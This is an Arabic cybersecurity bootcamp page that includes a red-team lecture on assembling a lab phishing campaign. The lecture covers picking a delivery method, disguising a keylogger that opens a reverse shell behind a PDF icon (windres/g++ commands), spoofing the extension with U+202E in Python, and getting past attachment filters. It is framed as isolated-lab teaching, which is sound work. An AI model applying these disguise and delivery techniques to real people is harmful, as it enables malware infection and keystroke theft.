ISKANDERCyber Bootcamp دخول
خصم ٤٥٪دورة الفريق الأزرق بـ ٢٧٥٬٠٠٠ د.ع بدلاً من ٥٠٠٬٠٠٠. عرض Winter Arc للتسجيل المبكر، والدورة تبدأ نوفمبر ٢٠٢٦. احجز مكانك
معسكر الأمن السيبرانيZERO TO HERO

لا تحفظ الأدوات. افهم الطريق.

من عقلية المهاجم المتقدّم، إلى بناء أدواتك بنفسك، إلى الدفاع عن بنية حقيقية، إلى مواجهة مباشرة بين فريقين. كل دورة هنا لها موقع محدّد على الخريطة، وكل دورة تعرف ما الذي يجب أن تتقنه قبلها.

٨دورات ومراحل
٦٣وحدة تعليمية
٥٢٩موضوعاً مفصّلاً
٧فصول منشورة
الخريطة

خريطة المسار التفاعلية

اضغط على أي دورة لترى ملخّصها، ثم افتح صفحتها الكاملة. الأسهم تُقرأ من اليمين إلى اليسار: ما على اليمين يجب أن يسبق ما على اليسار.

الخط المتصل يعني متطلباً إلزامياً، والخط المتقطّع يعني متطلباً مُستحسَناً
الفصول

منشور حتى الآن

من المرحلة الأولى، سلسلة طرق التوصيل. كل قسم ينتهي بأسئلة تحقّق تخبرك إن كنت فهمت قبل أن تكمل.

الخزنة

المنهج كشبكة، لا كقائمة

كل محاضرة تُنزَّل كملف Markdown مربوط بالمفاهيم التي تشرحها: الطرق، الأدوات، الدفاعات، تقنيات ATT&CK، والخصوم. افتح المجلد في Obsidian واضغط Graph view: النقاط المجوّفة هي محاضرات لم تُنزّلها بعد، وكلما أضفت واحدة امتلأت العقد المشتركة معها.

تحتوي الخزنة
دليل التنقّل شبكة المفاهيم

لا تُغيّر أسماء الملفات: Obsidian يربط الملاحظات بالاسم، وأي إعادة تسمية تقطع الرابط.

الطريقة الأنظف · عبر Git

استنساخ المستودع لا يضع على الملفات علامة «نُزّل من الإنترنت»، فلا يظهر تحذير SmartScreen الذي يظهر مع تنزيل المتصفّح. ثبّت Git، نفّذ الأمر، ثم افتح المجلد الناتج في Obsidian:

git clone https://github.com/HashHashBit/iskander-vault.git
لا تملك Git؟ نزّله لويندوز ←
الشبكة

شبكة المفاهيم

نفس الشبكة التي تفتحها الخزنة في Obsidian، وفيها مرشّحات لا يملكها: اعرض ما تشترك فيه المحاضرات فقط، أو ما يخصّ تكتيكاً واحداً في ATT&CK، أو المسار الأقصر بين مفهومين. دليل التنقّل يشرح الطريقة كاملة.

النوع
الفصل
تكتيك ATT&CK
الروابط
التصفية
أقل عدد إشارات: 1
اسحب الخلفية للتحريك · عجلة الفأرة للتقريب · اضغط عقدة لتفاصيلها
عودة إلى الخريطة
زينب إسكندر، مدرّبة الأمن السيبراني في معسكر إسكندر
المدرّبة

زينب إسكندر

مدرّبة الأمن السيبراني · معسكر إسكندر

تبني محتوى الأمن السيبراني الذي بحثت عنه بالعربية ولم تجده: شرح يبدأ من المبدأ، ومختبرات تُشغَّل بيدك، لا شرائح تُحفظ.

احجز جلسة استشارية

لماذا هذا المنهج

أغلب ما يُنشر بالعربية في الأمن الهجومي يشرح الأداة ولا يشرح الطريق. يخرج الدارس قادراً على تشغيل أمر دون أن يعرف لماذا نجح، ولا ما الذي كان سيوقفه. المنهج هنا مبني على العكس: كل تقنية تُشرح من مبدئها، وتُربط بموقعها في إطار MITRE ATT&CK، ثم يُنظر إليها من جهة المدافع.

العمل مع المختصّين

تعمل زينب مع نخبة من المختصّين في الأمن السيبراني، من الفرق الحمراء والزرقاء، على بناء منهج يجمع ما يُدرَّس في المعسكرات العالمية بما يحتاجه سوق الشرق الأوسط فعلاً. المادة تُراجَع تقنياً قبل نشرها، وتُحدَّث حين تتغيّر الدفاعات التي تتحدّث عنها.

المختبرات هي الفرق

لا يكتفي المنهج بوصف طريقة توصيل. تبنيها بنفسك، وتشغّلها في بيئة معزولة، ثم تعود إليها من جهة المدافع: ما الذي ظهر في السجلّات، وأي قاعدة كانت ستوقفها. كل قسم ينتهي بأسئلة تحقّق تخبرك إن كنت فهمت قبل أن تكمل.

الشروح القصيرة على القنوات، والفصول الكاملة هنا مجاناً.

شبكة المفاهيم

دليل التنقّل: كيف تقرأ هذه الخزنة في Obsidian

هذه الخزنة ليست مجموعة ملفات. هي شبكة: كل محاضرة مربوطة بالمفاهيم التي تشرحها، وكل مفهوم مربوط بالمفاهيم التي يظهر بجوارها. الهدف أن ترى الطريق، لا أن تحفظ الأدوات.


أولاً: افتح الخزنة

  1. نزّل الخزنة من صفحة iskander.sh، وفُكّ الضغط عن المجلد.
  2. في Obsidian اختر Open folder as vault ثم اختر مجلد Iskander Bootcamp.
  3. افتح ملف الخريطة. هذا هو الفهرس: منه تصل إلى كل شيء.
لا تُغيّر أسماء الملفات. Obsidian يربط الملاحظات بالاسم، فإعادة التسمية تقطع كل رابط يشير إلى الملف. إن أردت اسماً آخر استخدم aliases في رأس الملف.

بنية الخزنة

المجلدما فيه
المحاضراتنص كل محاضرة كاملاً، وفي آخره قسم الصلات
الدوراتصفحة لكل دورة في الخريطة، مع المتطلبات السابقة وما تفتحه
المفاهيم/الطرقطرق التوصيل: الملف المربوط، HTA، الحاويات، وغيرها
المفاهيم/الأدواتالثنائيات الموقّعة وأدوات العمل: mshta، certutil، PowerShell
المفاهيم/الدفاعاتما تواجهه: MOTW، SmartScreen، Defender، AMSI، ETW
المفاهيم/التقنياتتقنيات MITRE ATT&CK المذكورة في المحاضرات
المفاهيم/الخصومالمجموعات والحملات الحقيقية التي تُشتقّ منها الأمثلة

كيف تقرأ ملف مفهوم

كل ملف مفهوم مبني على نفس الشكل:

  • رأس الملف فيه الوسم ونوع المفهوم وعدد الإشارات إليه في كل المحاضرات.
  • الاقتباس في الأعلى هو التعريف، منقول حرفياً من المحاضرة التي تشرحه، ومذكور تحته من أي محاضرة أُخِذ.
  • يظهر في يعدّ المحاضرات التي تذكره ومعها عدد الإشارات. رقم كبير في محاضرة واحدة يعني أن هذه المحاضرة هي مكان دراسته.
  • مفاهيم مجاورة ليست قائمة عشوائية: هذه مفاهيم تظهر في نفس القسم داخل المحاضرات. إن رأيت ISO بجوار MOTW فذلك لأن النص يناقشهما معاً، وهذا سؤال يستحق أن تسأله: لماذا؟

الأدوات الخمس التي ستستخدمها

1. الرسم الكامل (Graph view)

الأيقونة في الشريط الجانبي الأيسر، أو Ctrl+G على ويندوز و Cmd+G على ماك. تُظهر الخزنة كلها. اضغط على ترس الإعدادات داخل الرسم لتجد:

  • Filters: صندوق بحث يقبل استعلامات مثل tag:#مفهوم/دفاع أو path:المحاضرات.
  • Groups: تلوين مجموعة بلون. الخزنة تصلك ملوّنة مسبقاً حسب النوع.
  • Display: منه فعّل Show unresolved links إن لم يكن مفعّلاً.
  • Forces: تباعد العقد. زد Repel force إن بدا الرسم متكدّساً.

النقاط المجوّفة هي ملفات مذكورة ولم تُنزّلها بعد. كلّما أضفت محاضرة امتلأت العقد المرتبطة بها. هذه أسرع طريقة لترى ما ينقصك.

2. الرسم الموضعي (Local graph)

من قائمة ... أعلى الملف اختر Open local graph، أو من لوحة الأوامر. يُظهر جيران هذا الملف فقط. في إعداداته اضبط Depth:

  • Depth 1: ما يرتبط بالملف مباشرة.
  • Depth 2: وما يرتبط بجيرانه. ابدأ بـ 1 دائماً، فـ 2 يتحوّل إلى ضوضاء بسرعة.

هذه هي الأداة التي ستقضي فيها أكثر وقتك.

3. الروابط الخلفية (Backlinks)

في الشريط الأيمن. تُظهر كل مكان يشير إلى الملف المفتوح، ومعه السطر الذي ورد فيه. الفرق بينها وبين "مفاهيم مجاورة": الروابط الخلفية تعطيك السياق النصي، لا الرسم فقط.

4. لوحة الوسوم (Tags)

في الشريط الأيمن. الوسوم الجاهزة:

#محاضرة · #دورة · #مفهوم/دفاع · #مفهوم/أداة · #مفهوم/طريقة · #مفهوم/تقنية · #مفهوم/خصم · #مسار/...

اضغط #مفهوم/دفاع لترى كل الدفاعات دفعة واحدة. هذه طريقة جيدة لمراجعة محور كامل قبل الامتحان.

5. البحث والتنقّل السريع

الأمرويندوزماك
فتح ملف بالاسمCtrl+OCmd+O
بحث في كل النصCtrl+Shift+FCmd+Shift+F
لوحة الأوامرCtrl+PCmd+P
الرسم الكاملCtrl+GCmd+G

إن نسيت اختصاراً، لوحة الأوامر تجد كل شيء بالاسم.


مثال كامل: كيف تدرس موضوعاً واحداً

خذ MOTW، علامة الويب. هي مذكورة في المحاضرات الثلاث، وهذا يجعلها مثالاً جيداً. اتبع هذه الخطوات بالترتيب، وستجد أنك فهمت المحور كله لا التعريف وحده.

الخطوة 1: ابدأ من المفهوم، لا من المحاضرة

افتح MOTW من مجلد المفاهيم/الدفاعات. اقرأ الاقتباس في الأعلى فقط. الآن تعرف تعريفاً واحداً في سطرين، وتعرف أنه مذكور في المحاضرات الثلاث كلها. هذا الرقم وحده يخبرك أن هذا ليس تفصيلاً جانبياً، بل عمود.

الخطوة 2: افتح الرسم الموضعي بعمق 1

سترى حوله: SmartScreen و ISO و ADS و HTA و LNK و Microsoft Defender.

قف هنا واسأل نفسك السؤال الصحيح: لماذا هؤلاء بالذات؟ لا تُجب بعد.

الخطوة 3: اتبع أغرب جار

SmartScreen جار متوقّع، فهو يستهلك العلامة. لكن ISO غريب: ما علاقة صورة قرص بعلامة على ملف؟ افتح ISO.

ستجد الجواب في تعريفه: الحاويات لا تنقل العلامة إلى ما بداخلها. الآن فهمت لماذا ظهرا متجاورين، وفهمت في نفس الوقت لماذا تحوّل المهاجمون إلى ISO بعد أن حُظر ماكرو الإنترنت.

الخطوة 4: انزل إلى النص

من ISO اذهب إلى يظهر في واتبع المحاضرة صاحبة أكبر عدد إشارات. اقرأ القسم هناك. الآن معك التفصيل الكامل بعد أن عرفت لماذا تقرأه، وهذا فرق كبير عن أن تبدأ القراءة من أول المحاضرة.

الخطوة 5: اجمع المحور كله

ارجع إلى MOTW وافتح الروابط الخلفية. كل سطر ذكرها في الخزنة أمامك الآن، من المحاضرات الثلاث. اقرأها كلها متتابعة: هذه مراجعة كاملة لمحور واحد في دقائق، مجمّعة من ثلاثة مستندات لم تكن لتقرأها معاً.

الخطوة 6: اقلب السؤال

اضغط الوسم #مفهوم/دفاع في لوحة الوسوم. أمامك كل الدفاعات. اسأل الآن سؤال الفريق الأحمر: أي واحد من هذه تتخطّاه الطريقة التي تعلّمتها، وأيها لا؟ هذا السؤال هو الفرق بين من يشغّل أداة ومن يفهم لماذا تعمل.

الخطوة 7: اكتب ملاحظتك أنت

أنشئ ملفاً جديداً في مجلد باسمك، واكتب فيه جوابك على سؤال الخطوة 6، واربط ما تذكره هكذا: [[MOTW]] و [[ISO]].

اللحظة المهمة: افتح الرسم الكامل الآن. ملاحظتك صارت عقدة داخل الشبكة، ومرتبطة بما درسته. كرّر هذا مع كل موضوع، وبعد شهر يصبح الرسم خريطة رأسك أنت، لا خريطتنا.


نمط أسبوعي مقترح

اليومالعمل
قبل المحاضرةافتح صفحة الدورة، اقرأ المتطلبات السابقة، تأكد أنك أنهيتها
أثناء القراءةلا تتوقف عند كل مصطلح؛ علّمه فقط وأكمل
بعد القراءةافتح قسم الصلات في آخر المحاضرة، وافتح كل مفهوم لم تكن تعرفه
المراجعةافتح مفهوماً واحداً واقرأ روابطه الخلفية كلها
نهاية الأسبوعاكتب ملاحظة واحدة بلغتك تربط ثلاثة مفاهيم على الأقل

أخطاء شائعة

  • قراءة المحاضرة من أولها إلى آخرها بلا توقّف. المحاضرات طويلة عن قصد. الرسم موجود لتدخل من المنتصف حيث يهمّك.
  • تجاهل النقاط المجوّفة. هي قائمة ما ينقصك، معروضة مجاناً.
  • إعادة تسمية الملفات. تقطع الروابط. استخدم aliases.
  • البقاء على Depth 2 في الرسم الموضعي. يتحوّل إلى ضوضاء ويوهمك أن كل شيء مرتبط بكل شيء.
  • عدم كتابة أي ملاحظة. خزنة تقرأ فيها فقط هي كتاب. خزنة تكتب فيها هي ذاكرة.

العودة إلى الخريطة

الفصول

تركيب الحمولة + التنكّر + البريد + الضحية الآليّ في محاكاة مختبريّة واحدة _من قرار «أيّ طريقة نستخدم» إلى صدفة عكسيّة على شاشتك، بلا إنترنت، بلا طرف ثالث_

Cybersecurity Bootcamp، Phase 1: Red Team Foundations المحاضرة الختاميّة لسلسلة Delivery. تفترض إتمام المحاضرات 1 و 2A و 3 و 4.

كيف تقرأ هذا المستند

كلّ ما سبق كان تفكيك مكوّن على حِدة: الحمولة في المحاضرة الأولى، الملف المربوط في 2A، HTA في الثالثة، الجدول المقارن مع MITRE في الرابعة. هذه المحاضرة تُركّب. لا فكرة جديدة كبيرة هنا — الجديد أنّك ستراها كلّها تعمل معاً في مختبرك في جلسة واحدة. الملفات كلّها في lab/ بجوار هذا المستند. القراءة أوّلاً، ثمّ التشغيل خطوةً خطوةً.

كالعادة: النصّ عربيّ RTL، الكود إنجليزيّ LTR، والمصطلحات القصيرة (mailpit, RLO, swaks) داخل جمل عربيّة بين backticks.


جدول المحتويات

#الموضوع
0أين نحن الآن، ولماذا نجمع كلّ شيء في مكان واحد
1قرار الاختيار: أيّ طريقة توصيل تناسب هذا الهدف؟
2تبديل الأيقونة: كيف نجعل .exe يرتدي وجه PDF
3خدعة U+202E: كيف يقلب حرف واحد نهاية الاسم
4البريد الإلكترونيّ نفسه: كتابة الذريعة والمرسِل والتوقيت
5بناء المختبر: mailpit + بوت الضحية + سكربت المهاجم
6تشغيل الحملة كاملةً: ما تراه في النوافذ الأربع
7من عيون الدفاع: ما يظهر في السجلّات من أوّل بايت إلى آخر ضغطة
8الخلاصة والجسر إلى Phase 2

قبل أن تبدأ: ما تحتاجه جاهزاً

#العنصرمن أينلماذا
1keylogger_edu.exeالمحاضرة 1الحمولة التي سنُوصّلها
2mailpit.exe (Windows binary)https://github.com/axllent/mailpit/releasesخادم بريد محليّ يستقبل SMTP ويعرض واجهة ويب
3ncatمن Nmap (المحاضرة 1)المُنصت على المنفذ 4444
4Python 3.10+ على الـ Host والـ VMhttps://python.orgلتشغيل سكربتات الحملة والضحية
5مكتبة requests على الـ VMpip install requestsبوت الضحية يستدعي API الـ mailpit
6شبكة VirtualBox Host-Only على 192.168.56.0/24من المحاضرة 1عزل تامّ عن الإنترنت
7Report.pdf.exe (اختياريّ — للسيناريو B و C)ناتج بناء المحاضرة 2Aملف مربوط يفتح PDF طُعم + يُشغّل الحمولة خفيةً. بدونه، السيناريو A يعمل لكن بلا PDF طُعم.
8build-iso.py (اختياريّ — للسيناريو C)مجلّد lab/ في هذه المحاضرةسكربت Python يستدعي Windows IMAPI2 لبناء ISO بـ Joliet. بلا pip install، بلا أدوات خارجيّة.

كلّ شيء يعمل بلا اتّصال إنترنت. mailpit لا يُرسل إلى العالم الخارجيّ — يستقبل وينتظر أن يقرأه أحد. هذا مقصود: مختبر مغلق بالتصميم.


القسم 0القسم 0: أين نحن الآن

وصلنا إلى نقطة كنّا نتحدّث عنها منذ المحاضرة الثانية. عندنا الآن الأشياء التالية جاهزةً على الرفّ:

  • حمولة تعمل (keylogger_edu.exe) تلتقط الضغطات وتفتح صدفة عكسيّة.
  • ثلاث طرق توصيل درسنا كلّاً منها منفصلةً: ملف مربوط، HTA، والطريقتين البديلتين في المحاضرة 4.
  • فهم لخريطة MITRE ATT&CK وأين تقع كلّ خطوة.

لكنّ APT حقيقيّ لا يستعمل حمولةً معلّقةً في الفراغ. يبني حملةً: يختار الطريقة المناسبة للهدف، يُنكّرها بصريّاً ولغويّاً، يُغلّفها في بريد يشبه ما يتلقّاه الهدف كلّ يوم، ويرسلها. ثمّ ينتظر. هذه المحاضرة هي هذه الحملة.

سنبنيها في مختبرك المنزليّ. Host PC سيلعب دور المهاجم — يُشغّل خادم بريد وسيطاً (mailpit)، ومُنصتاً على 4444 (ncat)، وسكربت إرسال البريد. الـ VM ستلعب دور الضحية — لكن ليس ضحيّة بشريّة تنقر، بل «بوت ضحية» يُحاكي مستخدماً ساذجاً: يفحص بريده كلّ خمس ثوانٍ، وحين يرى مرفقاً يُنزّله ويُشغّله. هذه اختصار عمليّ — لا نطلب منك أن تجلس أمام نافذتين وتكون المهاجم والضحية في نفس اللحظة. الفكرة الأصليّة نفسها: نقرة إنسان تُشغّل EXE.

لماذا مختبر مغلق تماماً؟

لأنّ الحمولة حقيقيّة والبريد بروتوكول حقيقيّ. لو أخطأتَ في الإعداد وأرسلتَ إلى عنوان حقيقيّ خارج الشبكة، تكون قد ارتكبت جريمة (المواد 431-438 من قانون العقوبات العراقيّ، والقوانين المكافئة في كلّ الدول). mailpit بالتصميم لا يُرحّل خارج نفسه — يستقبل ويُخزّن ويعرض، ولا يُوصّل إلى Gmail أو Outlook أو أيّ خادم آخر. الشبكة Host-Only تُقفل الباب من الخارج. لكنّ التوقيع الأخير على السلامة هو أنت: تأكّد من عناوين IP قبل أن تُشغّل.

✅ اختبر نفسك: القسم 0

  1. ما الفرق بين «الحمولة جاهزة» و «الحملة جاهزة»؟
  2. لماذا نستعمل mailpit بدل خادم بريد كامل (Postfix + Dovecot)؟
  3. ما الفارق العمليّ بين ضحيّة بشريّة تنقر ملفاً وبوت ضحيّة يُنزّل ويُشغّل تلقائيّاً؟

القسم 1القسم 1: قرار الاختيار — أيّ طريقة تناسب هذا الهدف؟

أمامك ثلاث أدوات، وعندك هدف واحد. الاختيار ليس تعسّفاً؛ يعتمد على أربعة عوامل. لنمشِ بهم:

من هو الهدف؟ موظّف مبيعات يفتح PDF عشر مرّات يوميّاً غير مهندس مسؤول بنية تحتية يقرأ سطر أوامر بلا خوف. الأوّل لن يشكّ في ملف اسمه Q4-Report.pdf؛ الثاني قد يفتحه بـ Ghostscript ليفحص ما بداخله قبل النقر. اختر الأداة التي تلائم عادات هدفك اليوميّة: PDF لمن يفتح PDF، رابط لمن يعيش في متصفّح، ملف Office لمن يعمل بالجداول.

ما مستوى دفاعاته؟ شركة صغيرة بلا EDR = كلّ طريقة تعمل. مؤسّسة كبيرة بـ CrowdStrike + Sentinel + Sysmon = طريقة الملف المربوط ستُكتشف في ثوانٍ (سلوك «EXE يفتح EXE» علامة أوّليّة عند كلّ EDR)، بينما HTA تُطلق mshta.exe من خلال نمط LOLBin يمرّ بسهولة أكبر. اعرف أدوات الطرف الآخر قبل أن تُقرّر.

ما مساحة الوصول؟ لديك بريد الضحية فقط؟ استعمل مرفقاً. لديك موقع داخليّ تستطيع رفع ملف عليه؟ استعمل HTA مع رابط تنزيل. لديك وصول فيزيائيّ للحظة؟ استعمل USB مع Autoruns. كلّ سياق يُملي أدوات مختلفة.

ما مدى الإنكار المطلوب؟ لو انكشفت الحملة غداً، هل يجب أن تبدو «خطأً بشريّاً» (موظّف نقر خطأً)، أم «حادث تقنيّ» (ملف تالف)، أم «هجوم متعمّد» (لا نُبالي)؟ الملف المربوط أعلى الاحتماليّة الأولى، الاستغلال أعلى الثانية، البريد المرفق أعلى الثالثة.

المصفوفة كمرجع سريع

بعد كلّ ذلك النقاش، لديك موقف واقعيّ: مدير أوصاك بأن تختبر شركةً معيّنة. تجلس أمام لوحة مفاتيح، وتحتاج أن تُقرّر في دقيقة. المصفوفة هذه هي حاسبتك:

السيناريوالأداة الأولىالأداة الاحتياطيّةلماذا
هدف عاديّ، دفاعات أساسيّة، بريد داخليّ متاحملف مربوط بأيقونة PDFHTA عبر رابطالأبسط، أعلى فرصة نقرة
هدف تقنيّ، EDR كامل، عزل شبكاتHTA من موقع داخليّLiving-Off-The-Land scriptmshta.exe LOLBin يمرّ حيث EXE لا يمرّ
موظّف حسابات، Office متكاملWord مع ماكرو (خارج نطاقنا الآن)PDF مربوطعادات فتح الملفات معروفة
هدف يعمل من المنزل، بيئة غير مُدارةEXE مباشر بأيقونة تطبيق مألوفarchive مضغوط (.zip.exe)لا EDR للتحايل عليه
حادث اختبار داخليّ، صلاحيّات كاملةUSB مع AutorunShortcut LNKأعلى معدّل نجاح، أقلّ أثر شبكيّ

هذا الجدول ليس قانوناً — بل نقطة انطلاق. مطوّرو الحملات الجادّون يبنون مصفوفتهم الخاصّة من تجارب سابقة على أهداف مشابهة.

قرارنا اليوم

في هذه المحاضرة سنختار: ملف EXE مربوط بأيقونة PDF، اسمه مموّه بـ U+202E، مُرسل عبر بريد HR اصطناعيّ. لماذا؟ لأنّه الأكثر تعليميّةً — يُظهر ثلاث طبقات تنكّر منفصلة (بصريّة عبر الأيقونة، لغويّة عبر الاسم، اجتماعيّة عبر الذريعة) في حملة واحدة. الملف المربوط (المحاضرة 2A) هو الأداة، والبريد هو المُوصّل، والذريعة هي المُشغّل.

✅ اختبر نفسك: القسم 1

  1. ما العوامل الأربعة التي ذكرناها لاختيار طريقة التوصيل؟ اذكرها بدون العودة للنصّ.
  2. لماذا HTA أفضل من الملف المربوط لهدف عليه EDR ناضج؟
  3. لديك هدف يستخدم Linux فقط. أيّ الطرق التي تعلّمناها لا تنجح، ولماذا؟
  4. قسم البريد رفض المرفقات .exe تلقائيّاً. اقترح طريقتين للالتفاف على ذلك.

القسم 2القسم 2: تبديل الأيقونة — كيف نجعل .exe يرتدي وجه PDF

لنبدأ بالطبقة الأولى من التنكّر: الشكل. الضحية لن تفتح ملفاً اسمه keylogger_edu.exe بأيقونة الترس الافتراضيّة — سترى شيئاً غريباً وتتوقّف. لكنّها ستفتح، بلا تردّد، ملفاً بأيقونة Adobe Reader الحمراء المألوفة. هذا هو التنكّر البصريّ. سطر واحد فيه كلّ الخدعة، لكن التنفيذ يحتاج فهماً بسيطاً لبنية .exe.

ما الذي نعدّله فعلياً؟

كلّ ملف .exe على Windows من نوع PE (Portable Executable). داخله قسم اسمه .rsrc يحمل «الموارد»: الأيقونات، والصور، وسلاسل النصوص، ومعلومات الإصدار. الأيقونة التي يعرضها Explorer تُقرأ من هذا القسم بالتحديد. إذا استبدلنا كتلة الأيقونة بأخرى، Explorer يعرض الجديدة بلا تعديل على الكود التنفيذيّ.

أمامك طريقان لفعل ذلك: أداة رسوميّة بعد البناء (Resource Hacker)، أو ضمّ الأيقونة وقت البناء عبر windres. لنمشِ في الاثنين — التعليميّ يفضّل الأداة الرسوميّة (تُري كلّ شيء)، الإنتاجيّ يفضّل الطريق الثاني (يُبني الأمر آليّاً).

الطريق الرسوميّ: Resource Hacker

نزّل Resource Hacker من https://www.angusj.com/resourcehacker/ (مجانيّ، portable، لا يحتاج تثبيت). افتح keylogger_edu.exe بسحبه إلى نافذته. ستَظهر شجرة الموارد على اليسار. أنشأنا keylogger_edu.exe بلا موارد، فالشجرة قد تكون فارغةً تقريباً — عرَض من Version Info وحسب.

الآن نحتاج أيقونة PDF لنُدرجها. اذهب إلى https://icon-icons.com/ أو استخرج واحدة من Adobe Reader نفسها بـ IcoFX. المطلوب ملف .ico (وليس .png — رغم أنّ بعض الأدوات تُحوّل تلقائيّاً). احفظه pdf-icon.ico بجوار الـ EXE.

في Resource Hacker، من القائمة Action → Add Binary or Image Resource. اختر ملفك، اضبط Resource Type = ICON، Resource Name = 1. اضغط Add Resource. ثمّ File → Save As باسم جديد (لا تكتب فوق الأصل). أعِد فتح المجلّد في Explorer — يجب أن ترى الأيقونة الجديدة.

هل تعمل الحمولة بعد التعديل؟ نعم — لم نغيّر بايتاً واحداً في .text (قسم الكود). فقط أضفنا موارد. اختبِر: انقُر الملف الجديد، اذهب لـ ncat عندك، افحص إن كانت الصدفة قد وصلت. يجب أن تصل بشكل طبيعيّ.

الطريق البرمجيّ: windres + ملف .rc — خطوة بخطوة

أثناء التطوير الفعليّ لا تُريد فتح Resource Hacker بعد كلّ تصريف. الحلّ: ملف موارد نصّيّ صغير يُدمج مع الكود وقت البناء. أربع خطوات ثابتة — نمشي فيها كلّها الآن، والمخرج المتوقّع أدناه من تشغيل فعليّ.

الخطوة أ: جهّز أيقونة .ico في مجلد العمل. أسهل مصدر: نزّل واحدة مجانيّة من https://icon-icons.com/ (ابحث «PDF»)، أو حوّل PNG إلى ICO عبر https://convertio.co/png-ico/. احفظها باسم pdf-icon.ico في نفس مجلد keylogger_edu.cpp.

الخطوة ب: افتح Notepad أو أيّ محرّر وأنشئ ملفّاً باسم keylogger.rc بالضبط (لا امتداد إضافيّ)، الصق فيه هذا السطر الوحيد واحفظ:

text
IDI_ICON1 ICON "pdf-icon.ico"

IDI_ICON1 اسم داخليّ اعتباطيّ (يمكن استعمال أيّ اسم رقميّ أو نصّيّ)؛ ICON كلمة مفتاحيّة تُخبر windres أنّ ما يلي أيقونة؛ "pdf-icon.ico" مسار الملف (نسبيّ لمجلد العمل).

الخطوة ج: في MSYS2 UCRT64 terminal (من المحاضرة 1)، انتقل إلى المجلد وصرّف .rc إلى ملف موارد ثنائيّ:

bash
windres keylogger.rc -O coff -o keylogger.res.o
  • -O coff يقول لـ windres أخرج بتنسيق COFF (متوافق مع الرابط ld).
  • -o keylogger.res.o اسم المخرج.

تحقّق: يجب أن يظهر keylogger.res.o في المجلد بحجم ~1400 بايت.

bash
ls -la keylogger.res.o

الخطوة د: أعِد بناء الحمولة، هذه المرّة مع ملف الموارد كإدخال إضافيّ للرابط:

bash
g++ keylogger_edu.cpp keylogger.res.o -o keylogger_edu.exe -lws2_32 -static

تحقّق: افتح مجلد المشروع في Explorer. يجب أن تظهر أيقونة PDF على keylogger_edu.exe بدلاً من أيقونة الترس الافتراضيّة.

تحقّق أعمق (اختياريّ): أثبت أنّ الأيقونة فعلاً في قسم .rsrc من PE:

bash
objdump -h keylogger_edu.exe | grep rsrc

المخرج الفعليّ من تشغيلنا (على stub مع أيقونة PDF بسيطة 16×16، MSYS2 UCRT64، سبتمبر 2026):

text
  8 .rsrc         00000a00  000000014000a000  000000014000a000  00003e00  2**2

.rsrc بحجم 0xa00 بايت = 2560 بايت. قبل إضافة الأيقونة كان القسم أصغر بكثير أو غير موجود.

هذا الأسلوب هو ما يفعله المطوّرون الحقيقيّون: أدواتك أوتوماتيكيّة، والتنكّر جزء من الـ build pipeline، فلا تنسى أبداً.

ماذا يرى محلّل malware؟

عندما يصل ملفك إلى محلّل عكسيّ عبر VirusTotal، هو يرى الأيقونة نفسها التي ترى، لأنّها في نفس .rsrc. لن ينخدع بها — سيفتح PE Header فوراً ويرى أنّها EXE لا PDF. لكنّ التنكّر ليس له. التنكّر للمستخدم النهائيّ الذي يرى فقط الأيقونة قبل أن ينقر. المحلّل عدوّ ما بعد النقر — التنكّر عدوّ ما قبل النقر.

✅ اختبر نفسك: القسم 2

  1. أيّ قسم من ملف PE يحمل الأيقونة، وما اسمه؟
  2. لماذا لا يؤثّر تعديل الأيقونة على عمل الحمولة؟
  3. لديك 100 نسخة من الحمولة يجب أن تحملَ كلّ منها أيقونةً مختلفةً. أيّ الطريقين تختار ولماذا؟
  4. فتح الضحية Resource Hacker وفحص الملف قبل النقر. ماذا يرى؟

القسم 3القسم 3: خدعة U+202E — كيف يقلب حرف واحد نهاية الاسم

الآن الطبقة الثانية. الضحية سترى أيقونة PDF، لكنّها إن دقّقت في الاسم سترى .exe. مهما كانت ساذجةً، «.exe» في نهاية اسم يُدرَك أنّه ليس PDF. الحلّ ليس إخفاء الامتداد — هذا يحتاج تلاعباً بإعدادات Explorer عند الضحية. الحلّ أذكى: نجعل الاسم يبدو كأنّ الامتداد .pdf، دون تغيير الامتداد الفعليّ.

الأداة: حرف Unicode واحد اسمه RIGHT-TO-LEFT OVERRIDE، رمزه U+202E. صُمِّم أصلاً لأغراض لغويّة مشروعة: لو كنت تكتب فقرةً مختلطة العربيّة والإنجليزيّة، وأردت جبر الجزء الإنجليزيّ على أن يُقرأ من اليمين إلى اليسار (مصادفةً)، U+202E هو ما يفعل ذلك. يُوضَع في الموقع، وكلّ ما يليه يُعرَض معكوس الاتّجاه.

Windows Explorer يحترم Unicode بيدي (bidi) كاملاً. حين يرى U+202E، يعكس كلّ ما يليه في اسم الملف. المهاجم يستغلّ هذا بوضع U+202E قبل نهاية الاسم بثلاثة أحرف، ثمّ يكتب الامتداد الحقيقيّ معكوساً.

كيف تعمل؟ مثال ملموس

نبدأ باسم Q4-Report-2026fdp.exe. الأحرف الأخيرة fdp.exe. نُدرج U+202E بين 2026 و fdp:

text
Q4-Report-2026<U+202E>fdp.exe

عند الرسم:

  • Q4-Report-2026 يُرسم عاديّاً من اليسار إلى اليمين.
  • U+202E يقلب الاتّجاه.
  • fdp.exe يُرسم من اليمين إلى اليسار → يظهر exe.pdf.
  • النتيجة النهائيّة على الشاشة: Q4-Report-2026exe.pdf.

لكنّ الامتداد الفعليّ ما زال .exe. Windows يقرأ الامتداد من نهاية اسم الملف الحقيقيّ (سلسلة البايتات على القرص)، لا من الشكل المرسوم. النقرة المزدوجة تُشغّل EXE، والضحية تظنّ أنّها تفتح PDF.

كيف نبنيه في Python

send-phish.py (الذي ستحفظه في القسم 5) يفعل هذا بسطر واحد:

python
RLO = "\u202E"                                    # حرف U+202E
LRM = "‎"                                    # يثبّت الأرقام في مكانها
DISGUISED_NAME = f"Q4-Report-2026{LRM}{RLO}fdp.exe"    # على الشاشة: Q4-Report-2026exe.pdf

سيُنقَل الاسم عبر MIME بترميز RFC 2231 التلقائيّ (filename*=UTF-8''...)، فيصل إلى العميل بنفس التسلسل، ويُعرض معكوساً.

تحقّق مباشر: احفظ هذا كـ rlo-preview.py وشغّله

قبل أن نعتمد على الخدعة في الحملة، افحص كيف يعرضها جهازك أنت — بعض terminals و editors و mail clients تُنظّف RLO الآن. افتح Notepad أو أيّ محرّر نصوص وأنشئ ملفّاً باسم rlo-preview.py في أيّ مجلد فارغ، الصق فيه هذا الكود بالكامل واحفظ:

python
"""
rlo-preview.py — see how the U+202E trick renders in your terminal.

Prints example filenames with the RLO embedded, plus raw bytes so
you know exactly what's on disk. Then creates a harmless test file
so you can see Explorer flip the extension.

Educational only.
"""

import sys

